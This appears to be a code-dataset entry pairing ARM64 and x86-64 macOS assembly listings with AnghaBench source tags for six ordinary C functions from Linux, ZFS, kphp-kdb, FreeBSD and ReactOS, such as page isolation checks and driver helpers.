.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _test_pages_isolated ; -- Begin function test_pages_isolated .p2align 2 _test_pages_isolated: ; @test_pages_isolated .cfi_startproc ; %bb.0: sub sp, sp, #96 .cfi_def_cfa_offset 96 stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-16] stur x1, [x29, #-24] stur w2, [x29, #-28] ldur x8, [x29, #-16] str x8, [sp, #40] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp, #40] ldur x9, [x29, #-24] subs x8, x8, x9 cset w8, hs tbnz w8, #0, LBB0_7 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldr x0, [sp, #40] adrp x8, _pageblock_nr_pages@GOTPAGE ldr x8, [x8, _pageblock_nr_pages@GOTPAGEOFF] ldr x1, [x8] bl ___first_valid_page str x0, [sp, #24] ldr x8, [sp, #24] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_5 b LBB0_3 LBB0_3: ; in Loop: Header=BB0_1 Depth=1 ldr x0, [sp, #24] bl _is_migrate_isolate_page subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB0_5 b LBB0_4 LBB0_4: b LBB0_7 LBB0_5: ; in Loop: Header=BB0_1 Depth=1 b LBB0_6 LBB0_6: ; in Loop: Header=BB0_1 Depth=1 adrp x8, _pageblock_nr_pages@GOTPAGE ldr x8, [x8, _pageblock_nr_pages@GOTPAGEOFF] ldr x9, [x8] ldr x8, [sp, #40] add x8, x8, x9 str x8, [sp, #40] b LBB0_1 LBB0_7: ldur x0, [x29, #-16] ldur x8, [x29, #-24] ldur x9, [x29, #-16] subs x1, x8, x9 bl ___first_valid_page str x0, [sp, #24] ldr x8, [sp, #40] ldur x9, [x29, #-24] subs x8, x8, x9 cset w8, lo tbnz w8, #0, LBB0_9 b LBB0_8 LBB0_8: ldr x8, [sp, #24] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_10 b LBB0_9 LBB0_9: adrp x8, _EBUSY@GOTPAGE ldr x8, [x8, _EBUSY@GOTPAGEOFF] ldr w9, [x8] mov w8, #0 subs w8, w8, w9 stur w8, [x29, #-4] b LBB0_14 LBB0_10: ldr x0, [sp, #24] bl _page_zone str x0, [sp, #16] ldr x0, [sp, #16] ldr x1, [sp, #32] bl _spin_lock_irqsave ldur x0, [x29, #-16] ldur x1, [x29, #-24] ldur w2, [x29, #-28] bl ___test_page_isolated_in_pageblock str x0, [sp, #40] ldr x0, [sp, #16] ldr x1, [sp, #32] bl _spin_unlock_irqrestore ldur x0, [x29, #-16] ldur x1, [x29, #-24] ldr x2, [sp, #40] bl _trace_test_pages_isolated ldr x8, [sp, #40] ldur x9, [x29, #-24] subs x8, x8, x9 cset w8, hs tbnz w8, #0, LBB0_12 b LBB0_11 LBB0_11: adrp x8, _EBUSY@GOTPAGE ldr x8, [x8, _EBUSY@GOTPAGEOFF] ldr w9, [x8] mov w8, #0 subs w8, w8, w9 str w8, [sp, #12] ; 4-byte Folded Spill b LBB0_13 LBB0_12: mov w8, #0 str w8, [sp, #12] ; 4-byte Folded Spill b LBB0_13 LBB0_13: ldr w8, [sp, #12] ; 4-byte Folded Reload stur w8, [x29, #-4] b LBB0_14 LBB0_14: ldur w0, [x29, #-4] ldp x29, x30, [sp, #80] ; 16-byte Folded Reload add sp, sp, #96 ret .cfi_endproc ; -- End function .comm _pageblock_nr_pages,8,3 ; @pageblock_nr_pages .comm _EBUSY,4,2 ; @EBUSY .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _test_pages_isolated ## -- Begin function test_pages_isolated .p2align 4, 0x90 _test_pages_isolated: ## @test_pages_isolated .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $80, %rsp movq %rdi, -16(%rbp) movq %rsi, -24(%rbp) movl %edx, -28(%rbp) movq -16(%rbp), %rax movq %rax, -40(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 movq -40(%rbp), %rax cmpq -24(%rbp), %rax jae LBB0_7 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movq -40(%rbp), %rdi movq _pageblock_nr_pages@GOTPCREL(%rip), %rax movq (%rax), %rsi callq ___first_valid_page movq %rax, -56(%rbp) cmpq $0, -56(%rbp) je LBB0_5 ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 movq -56(%rbp), %rdi callq _is_migrate_isolate_page cmpl $0, %eax jne LBB0_5 ## %bb.4: jmp LBB0_7 LBB0_5: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_6 LBB0_6: ## in Loop: Header=BB0_1 Depth=1 movq _pageblock_nr_pages@GOTPCREL(%rip), %rax movq (%rax), %rax addq -40(%rbp), %rax movq %rax, -40(%rbp) jmp LBB0_1 LBB0_7: movq -16(%rbp), %rdi movq -24(%rbp), %rsi subq -16(%rbp), %rsi callq ___first_valid_page movq %rax, -56(%rbp) movq -40(%rbp), %rax cmpq -24(%rbp), %rax jb LBB0_9 ## %bb.8: cmpq $0, -56(%rbp) jne LBB0_10 LBB0_9: xorl %eax, %eax movq _EBUSY@GOTPCREL(%rip), %rcx subl (%rcx), %eax movl %eax, -4(%rbp) jmp LBB0_14 LBB0_10: movq -56(%rbp), %rdi callq _page_zone movq %rax, -64(%rbp) movq -64(%rbp), %rdi movq -48(%rbp), %rsi callq _spin_lock_irqsave movq -16(%rbp), %rdi movq -24(%rbp), %rsi movl -28(%rbp), %edx callq ___test_page_isolated_in_pageblock movq %rax, -40(%rbp) movq -64(%rbp), %rdi movq -48(%rbp), %rsi callq _spin_unlock_irqrestore movq -16(%rbp), %rdi movq -24(%rbp), %rsi movq -40(%rbp), %rdx callq _trace_test_pages_isolated movq -40(%rbp), %rax cmpq -24(%rbp), %rax jae LBB0_12 ## %bb.11: xorl %eax, %eax movq _EBUSY@GOTPCREL(%rip), %rcx subl (%rcx), %eax movl %eax, -68(%rbp) ## 4-byte Spill jmp LBB0_13 LBB0_12: xorl %eax, %eax movl %eax, -68(%rbp) ## 4-byte Spill jmp LBB0_13 LBB0_13: movl -68(%rbp), %eax ## 4-byte Reload movl %eax, -4(%rbp) LBB0_14: movl -4(%rbp), %eax addq $80, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _pageblock_nr_pages,8,3 ## @pageblock_nr_pages .comm _EBUSY,4,2 ## @EBUSY .subsections_via_symbols
AnghaBench/linux/mm/extr_page_isolation.c_test_pages_isolated.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _dsl_dir_sync ; -- Begin function dsl_dir_sync .p2align 2 _dsl_dir_sync: ; @dsl_dir_sync .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _TXG_MASK@GOTPAGE ldr x8, [x8, _TXG_MASK@GOTPAGEOFF] str x8, [sp, #8] ; 8-byte Folded Spill stur x0, [x29, #-8] str x1, [sp, #16] ldr x0, [sp, #16] bl _dmu_tx_is_syncing bl _ASSERT ldur x8, [x29, #-8] add x0, x8, #12 bl _mutex_enter ldr x10, [sp, #8] ; 8-byte Folded Reload ldur x8, [x29, #-8] ldr x8, [x8, #16] ldr x9, [sp, #16] ldr x9, [x9] ldr x10, [x10] and x9, x9, x10 ldr w0, [x8, x9, lsl #2] bl _ASSERT0 ldr x10, [sp, #8] ; 8-byte Folded Reload ldur x0, [x29, #-8] ldr x8, [sp, #16] ldr x2, [x8] ldur x8, [x29, #-8] ldr x8, [x8] ldr x9, [sp, #16] ldr x9, [x9] ldr x10, [x10] and x9, x9, x10 ldr w8, [x8, x9, lsl #2] mov w9, #1024 sdiv w3, w8, w9 adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF bl _dprintf_dd ldr x10, [sp, #8] ; 8-byte Folded Reload ldur x8, [x29, #-8] ldr x9, [x8] ldr x8, [sp, #16] ldr x8, [x8] ldr x10, [x10] and x10, x8, x10 mov w8, #0 str w8, [x9, x10, lsl #2] ldur x8, [x29, #-8] add x0, x8, #12 bl _mutex_exit ldur x8, [x29, #-8] ldr w0, [x8, #8] ldur x1, [x29, #-8] bl _dmu_buf_rele ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .comm _TXG_MASK,8,3 ; @TXG_MASK .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "txg=%llu towrite=%lluK\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _dsl_dir_sync ## -- Begin function dsl_dir_sync .p2align 4, 0x90 _dsl_dir_sync: ## @dsl_dir_sync .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq -16(%rbp), %rdi callq _dmu_tx_is_syncing movl %eax, %edi callq _ASSERT movq -8(%rbp), %rdi addq $12, %rdi callq _mutex_enter movq -8(%rbp), %rax movq 16(%rax), %rax movq -16(%rbp), %rcx movq (%rcx), %rcx movq _TXG_MASK@GOTPCREL(%rip), %rdx andq (%rdx), %rcx movl (%rax,%rcx,4), %edi callq _ASSERT0 movq -8(%rbp), %rdi movq -16(%rbp), %rax movq (%rax), %rax movq %rax, -24(%rbp) ## 8-byte Spill movq -8(%rbp), %rax movq (%rax), %rax movq -16(%rbp), %rcx movq (%rcx), %rcx movq _TXG_MASK@GOTPCREL(%rip), %rdx andq (%rdx), %rcx movl (%rax,%rcx,4), %eax movl $1024, %ecx ## imm = 0x400 cltd idivl %ecx movq -24(%rbp), %rdx ## 8-byte Reload movl %eax, %ecx leaq L_.str(%rip), %rsi callq _dprintf_dd movq -8(%rbp), %rax movq (%rax), %rax movq -16(%rbp), %rcx movq (%rcx), %rcx movq _TXG_MASK@GOTPCREL(%rip), %rdx andq (%rdx), %rcx movl $0, (%rax,%rcx,4) movq -8(%rbp), %rdi addq $12, %rdi callq _mutex_exit movq -8(%rbp), %rax movl 8(%rax), %edi movq -8(%rbp), %rsi callq _dmu_buf_rele addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _TXG_MASK,8,3 ## @TXG_MASK .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "txg=%llu towrite=%lluK\n" .subsections_via_symbols
AnghaBench/zfs/module/zfs/extr_dsl_dir.c_dsl_dir_sync.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _user_get_object_name ; -- Begin function user_get_object_name .p2align 2 _user_get_object_name: ; @user_get_object_name .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #16] str w1, [sp, #12] ldr x0, [sp, #16] ldr w1, [sp, #12] bl _check ldr w8, [sp, #12] ldr x9, [sp, #16] ldr w9, [x9] subs w8, w8, w9 cset w8, gt tbnz w8, #0, LBB0_4 b LBB0_1 LBB0_1: ldr x8, [sp, #16] ldr x8, [x8, #8] ldrsw x9, [sp, #12] ldr w8, [x8, x9, lsl #2] adrp x9, _MEM_FLAG@GOTPAGE ldr x9, [x9, _MEM_FLAG@GOTPAGEOFF] ldr w9, [x9] ands w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_3 b LBB0_2 LBB0_2: ldr x8, [sp, #16] ldr x8, [x8, #16] ldr x9, [sp, #16] ldr x9, [x9, #8] ldrsw x10, [sp, #12] ldr w9, [x9, x10, lsl #2] adrp x10, _MEM_FLAG@GOTPAGE ldr x10, [x10, _MEM_FLAG@GOTPAGEOFF] ldr w10, [x10] bic w9, w9, w10 ldr x8, [x8, w9, sxtw] stur x8, [x29, #-8] b LBB0_5 LBB0_3: ldr x8, [sp, #16] ldr x8, [x8, #16] ldr x9, [sp, #16] ldr x9, [x9, #8] ldrsw x10, [sp, #12] ldrsw x9, [x9, x10, lsl #2] add x8, x8, x9 stur x8, [x29, #-8] b LBB0_5 LBB0_4: ldr x8, [sp, #16] ldr x8, [x8, #24] ldr w9, [sp, #12] ldr x10, [sp, #16] ldr w10, [x10] subs w9, w9, w10 ldr x8, [x8, w9, sxtw #3] stur x8, [x29, #-8] b LBB0_5 LBB0_5: ldur x0, [x29, #-8] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .comm _MEM_FLAG,4,2 ; @MEM_FLAG .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _user_get_object_name ## -- Begin function user_get_object_name .p2align 4, 0x90 _user_get_object_name: ## @user_get_object_name .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -16(%rbp) movl %esi, -20(%rbp) movq -16(%rbp), %rdi movl -20(%rbp), %esi callq _check movl -20(%rbp), %eax movq -16(%rbp), %rcx cmpl (%rcx), %eax jg LBB0_4 ## %bb.1: movq -16(%rbp), %rax movq 8(%rax), %rax movslq -20(%rbp), %rcx movl (%rax,%rcx,4), %eax movq _MEM_FLAG@GOTPCREL(%rip), %rcx andl (%rcx), %eax cmpl $0, %eax je LBB0_3 ## %bb.2: movq -16(%rbp), %rax movq 16(%rax), %rax movq -16(%rbp), %rcx movq 8(%rcx), %rcx movslq -20(%rbp), %rdx movl (%rcx,%rdx,4), %ecx movq _MEM_FLAG@GOTPCREL(%rip), %rdx movl (%rdx), %edx xorl $-1, %edx andl %edx, %ecx movslq %ecx, %rcx movq (%rax,%rcx), %rax movq %rax, -8(%rbp) jmp LBB0_5 LBB0_3: movq -16(%rbp), %rax movq 16(%rax), %rax movq -16(%rbp), %rcx movq 8(%rcx), %rcx movslq -20(%rbp), %rdx movslq (%rcx,%rdx,4), %rcx addq %rcx, %rax movq %rax, -8(%rbp) jmp LBB0_5 LBB0_4: movq -16(%rbp), %rax movq 24(%rax), %rax movl -20(%rbp), %ecx movq -16(%rbp), %rdx subl (%rdx), %ecx movslq %ecx, %rcx movq (%rax,%rcx,8), %rax movq %rax, -8(%rbp) LBB0_5: movq -8(%rbp), %rax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _MEM_FLAG,4,2 ## @MEM_FLAG .subsections_via_symbols
AnghaBench/kphp-kdb/hints/extr_hints-data.c_user_get_object_name.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function parse_bus_info_block _parse_bus_info_block: ; @parse_bus_info_block .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 sub sp, sp, #96 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-8] stur x0, [x29, #-16] adrp x8, _EUI64_SIZ@GOTPAGE ldr x8, [x8, _EUI64_SIZ@GOTPAGEOFF] ldr w8, [x8] ; kill: def $x8 killed $w8 stur x8, [x29, #-80] ; 8-byte Folded Spill mov x9, sp stur x9, [x29, #-24] lsr x9, x8, #0 add x9, x9, #15 and x9, x9, #0xfffffffffffffff0 stur x9, [x29, #-88] ; 8-byte Folded Spill adrp x16, ___chkstk_darwin@GOTPAGE ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 ldur x10, [x29, #-88] ; 8-byte Folded Reload mov x9, sp subs x0, x9, x10 stur x0, [x29, #-64] ; 8-byte Folded Spill mov sp, x0 stur x8, [x29, #-32] ldur x8, [x29, #-16] stur x8, [x29, #-40] ldur x8, [x29, #-40] add x0, x8, #44 sub x1, x29, #44 stur x1, [x29, #-72] ; 8-byte Folded Spill bl _fweui2eui64 ldur x8, [x29, #-80] ; 8-byte Folded Reload ldur x1, [x29, #-64] ; 8-byte Folded Reload ldur x0, [x29, #-72] ; 8-byte Folded Reload mov x2, x8 bl _eui64_ntoa ldur x8, [x29, #-64] ; 8-byte Folded Reload ldur x9, [x29, #-40] ldr w1, [x9] ldur x9, [x29, #-40] ldr w2, [x9, #4] ldur x9, [x29, #-40] ldr w3, [x9, #8] ldur x9, [x29, #-40] ldr w4, [x9, #12] ldur x9, [x29, #-40] ldr w5, [x9, #16] ldur x9, [x29, #-40] ldr w6, [x9, #20] ldur x9, [x29, #-40] ldr w7, [x9, #24] ldur x9, [x29, #-40] ldr w13, [x9, #28] ldur x9, [x29, #-40] ldr w12, [x9, #32] ldur x9, [x29, #-40] ldr w11, [x9, #36] ldur x9, [x29, #-40] ldr w10, [x9, #40] sub sp, sp, #32 mov x9, sp str w13, [x9] str w12, [x9, #4] str w11, [x9, #8] str w10, [x9, #12] str x8, [x9, #16] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf add sp, sp, #32 ldur x8, [x29, #-24] stur x8, [x29, #-56] ; 8-byte Folded Spill ldur x9, [x29, #-8] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: bl ___stack_chk_fail LBB0_2: ldur x8, [x29, #-56] ; 8-byte Folded Reload mov sp, x8 mov sp, x29 ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .comm _EUI64_SIZ,4,2 ; @EUI64_SIZ .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "bus_name: 0x%04x\nirmc:%d cmc:%d isc:%d bmc:%d pmc:%d\ncyc_clk_acc:%d max_rec:%d max_rom:%d\ngeneration:%d link_spd:%d\nEUI64: %s\n" .no_dead_strip _parse_bus_info_block .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function parse_bus_info_block _parse_bus_info_block: ## @parse_bus_info_block .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx subq $64, %rsp .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -40(%rbp) movq %rdi, -48(%rbp) movq _EUI64_SIZ@GOTPCREL(%rip), %rax movl (%rax), %eax ## kill: def $rax killed $eax movq %rax, -96(%rbp) ## 8-byte Spill movq %rsp, %rcx movq %rcx, -56(%rbp) callq ____chkstk_darwin addq $15, %rax andq $-16, %rax subq %rax, %rsp movq -96(%rbp), %rax ## 8-byte Reload movq %rsp, %rcx movq %rcx, -88(%rbp) ## 8-byte Spill movq %rax, -64(%rbp) movq -48(%rbp), %rax movq %rax, -72(%rbp) movq -72(%rbp), %rdi addq $44, %rdi leaq -80(%rbp), %rsi callq _fweui2eui64 movq -88(%rbp), %rsi ## 8-byte Reload ## kill: def $ecx killed $eax movq -96(%rbp), %rax ## 8-byte Reload movl %eax, %edx leaq -80(%rbp), %rdi callq _eui64_ntoa ## kill: def $ecx killed $eax movq -88(%rbp), %rax ## 8-byte Reload movq -72(%rbp), %rcx movl (%rcx), %esi movq -72(%rbp), %rcx movl 4(%rcx), %edx movq -72(%rbp), %rcx movl 8(%rcx), %ecx movq -72(%rbp), %rdi movl 12(%rdi), %r8d movq -72(%rbp), %rdi movl 16(%rdi), %r9d movq -72(%rbp), %rdi movl 20(%rdi), %r12d movq -72(%rbp), %rdi movl 24(%rdi), %r15d movq -72(%rbp), %rdi movl 28(%rdi), %r14d movq -72(%rbp), %rdi movl 32(%rdi), %ebx movq -72(%rbp), %rdi movl 36(%rdi), %r11d movq -72(%rbp), %rdi movl 40(%rdi), %r10d leaq L_.str(%rip), %rdi subq $64, %rsp movl %r12d, (%rsp) movl %r15d, 8(%rsp) movl %r14d, 16(%rsp) movl %ebx, 24(%rsp) movl %r11d, 32(%rsp) movl %r10d, 40(%rsp) movq %rax, 48(%rsp) callq _printf addq $64, %rsp movq -56(%rbp), %rax movq %rax, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -40(%rbp), %rcx cmpq %rcx, %rax jne LBB0_2 ## %bb.1: leaq -32(%rbp), %rsp popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp retq LBB0_2: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .comm _EUI64_SIZ,4,2 ## @EUI64_SIZ .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "bus_name: 0x%04x\nirmc:%d cmc:%d isc:%d bmc:%d pmc:%d\ncyc_clk_acc:%d max_rec:%d max_rom:%d\ngeneration:%d link_spd:%d\nEUI64: %s\n" .no_dead_strip _parse_bus_info_block .subsections_via_symbols
AnghaBench/freebsd/usr.sbin/fwcontrol/extr_fwcontrol.c_parse_bus_info_block.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function brcms_b_upd_synthpu _brcms_b_upd_synthpu: ; @brcms_b_upd_synthpu .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] ldur x8, [x29, #-8] ldr x8, [x8] str x8, [sp, #8] ldr x8, [sp, #8] ldr x0, [x8] bl _BRCMS_ISLCNPHY subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: adrp x8, _SYNTHPU_DLY_LPPHY_US@GOTPAGE ldr x8, [x8, _SYNTHPU_DLY_LPPHY_US@GOTPAGEOFF] ldr w8, [x8] stur w8, [x29, #-12] b LBB0_7 LBB0_2: ldr x8, [sp, #8] ldr x0, [x8] bl _BRCMS_ISNPHY subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_5 b LBB0_3 LBB0_3: ldr x8, [sp, #8] ldr x8, [x8] ldr w0, [x8] mov w1, #3 bl _NREV_GE subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_5 b LBB0_4 LBB0_4: adrp x8, _SYNTHPU_DLY_NPHY_US@GOTPAGE ldr x8, [x8, _SYNTHPU_DLY_NPHY_US@GOTPAGEOFF] ldr w8, [x8] stur w8, [x29, #-12] b LBB0_6 LBB0_5: adrp x8, _SYNTHPU_DLY_BPHY_US@GOTPAGE ldr x8, [x8, _SYNTHPU_DLY_BPHY_US@GOTPAGEOFF] ldr w8, [x8] stur w8, [x29, #-12] b LBB0_6 LBB0_6: b LBB0_7 LBB0_7: ldur x0, [x29, #-8] adrp x8, _M_SYNTHPU_DLY@GOTPAGE ldr x8, [x8, _M_SYNTHPU_DLY@GOTPAGEOFF] ldr w1, [x8] ldur w2, [x29, #-12] bl _brcms_b_write_shm ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .comm _SYNTHPU_DLY_LPPHY_US,4,2 ; @SYNTHPU_DLY_LPPHY_US .comm _SYNTHPU_DLY_NPHY_US,4,2 ; @SYNTHPU_DLY_NPHY_US .comm _SYNTHPU_DLY_BPHY_US,4,2 ; @SYNTHPU_DLY_BPHY_US .comm _M_SYNTHPU_DLY,4,2 ; @M_SYNTHPU_DLY .no_dead_strip _brcms_b_upd_synthpu .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function brcms_b_upd_synthpu _brcms_b_upd_synthpu: ## @brcms_b_upd_synthpu .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movq -8(%rbp), %rax movq (%rax), %rax movq %rax, -24(%rbp) movq -24(%rbp), %rax movq (%rax), %rdi callq _BRCMS_ISLCNPHY cmpq $0, %rax je LBB0_2 ## %bb.1: movq _SYNTHPU_DLY_LPPHY_US@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -12(%rbp) jmp LBB0_7 LBB0_2: movq -24(%rbp), %rax movq (%rax), %rdi callq _BRCMS_ISNPHY cmpq $0, %rax je LBB0_5 ## %bb.3: movq -24(%rbp), %rax movq (%rax), %rax movl (%rax), %edi movl $3, %esi callq _NREV_GE cmpq $0, %rax je LBB0_5 ## %bb.4: movq _SYNTHPU_DLY_NPHY_US@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -12(%rbp) jmp LBB0_6 LBB0_5: movq _SYNTHPU_DLY_BPHY_US@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -12(%rbp) LBB0_6: jmp LBB0_7 LBB0_7: movq -8(%rbp), %rdi movq _M_SYNTHPU_DLY@GOTPCREL(%rip), %rax movl (%rax), %esi movl -12(%rbp), %edx callq _brcms_b_write_shm addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _SYNTHPU_DLY_LPPHY_US,4,2 ## @SYNTHPU_DLY_LPPHY_US .comm _SYNTHPU_DLY_NPHY_US,4,2 ## @SYNTHPU_DLY_NPHY_US .comm _SYNTHPU_DLY_BPHY_US,4,2 ## @SYNTHPU_DLY_BPHY_US .comm _M_SYNTHPU_DLY,4,2 ## @M_SYNTHPU_DLY .no_dead_strip _brcms_b_upd_synthpu .subsections_via_symbols
AnghaBench/linux/drivers/net/wireless/broadcom/brcm80211/brcmsmac/extr_main.c_brcms_b_upd_synthpu.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function free_sampler _free_sampler: ; @free_sampler .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] str xzr, [sp] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp] ldr x9, [sp, #8] ldr x9, [x9] subs x8, x8, x9 cset w8, hs tbnz w8, #0, LBB0_4 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldr x8, [sp, #8] ldr x8, [x8, #8] ldr x9, [sp] add x0, x8, x9, lsl #2 bl _free_state b LBB0_3 LBB0_3: ; in Loop: Header=BB0_1 Depth=1 ldr x8, [sp] add x8, x8, #1 str x8, [sp] b LBB0_1 LBB0_4: bl _GetProcessHeap ldr x8, [sp, #8] ldr x2, [x8, #8] mov w1, #0 bl _HeapFree ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .no_dead_strip _free_sampler .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function free_sampler _free_sampler: ## @free_sampler .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq $0, -16(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 movq -16(%rbp), %rax movq -8(%rbp), %rcx cmpq (%rcx), %rax jae LBB0_4 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movq -8(%rbp), %rax movq 8(%rax), %rdi movq -16(%rbp), %rax shlq $2, %rax addq %rax, %rdi callq _free_state ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 movq -16(%rbp), %rax addq $1, %rax movq %rax, -16(%rbp) jmp LBB0_1 LBB0_4: movb $0, %al callq _GetProcessHeap movl %eax, %edi movq -8(%rbp), %rax movq 8(%rax), %rdx xorl %esi, %esi callq _HeapFree addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _free_sampler .subsections_via_symbols
AnghaBench/reactos/dll/directx/wine/d3dx9_36/extr_effect.c_free_sampler.c
